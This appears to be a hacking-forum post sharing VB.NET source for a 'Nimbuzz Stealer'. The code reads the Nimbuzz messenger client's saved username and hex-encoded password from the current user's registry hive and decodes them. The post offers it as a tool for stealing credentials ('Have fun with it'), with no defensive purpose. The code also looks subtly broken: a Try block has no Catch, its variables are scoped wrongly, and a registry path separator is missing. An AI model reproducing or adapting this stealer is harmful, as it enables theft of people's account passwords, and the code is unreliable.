Public Function Nimbuzz()
Try
Dim f As New NTAccount(Environment.UserName)
Dim s As SecurityIdentifier = DirectCast(f.Translate(GetType(SecurityIdentifier)), SecurityIdentifier)
Dim sidString As [String] = s.ToString()

Dim sUser As String = RegRead("HKEY_USERS" & sidString & "\Software\Nimbuzz\PCClient\Application\Username")
Dim sPass As String = Hex2Ascii(Replace(Replace(RegRead("HKEY_USERS" & sidString & "\Software\Nimbuzz\PCClient\Application\password"), "@ByteArray(", ""), ")", ""))

'sUser = Username
'sPass = Password

End Try
Return sUser & " " & sPass
End Function

Public Function Hex2Ascii(ByVal Text As String) As String
Dim Value As Object
Dim num As Object
Dim i As Object
Value = Nothing
For i = 1 To Len(Text)
num = Mid(Text, i, 2)
Value = Value & Chr(Val("&h" & num))
i = i + 1 ' // +1
Next i ' Next Chr

Hex2Ascii = Value
End Function




[VB.Net] Nimbuzz Stealer,,,,,,,
It steals the Nimbuzz Username + Password.


Have fun with it and give credits

join my forum link above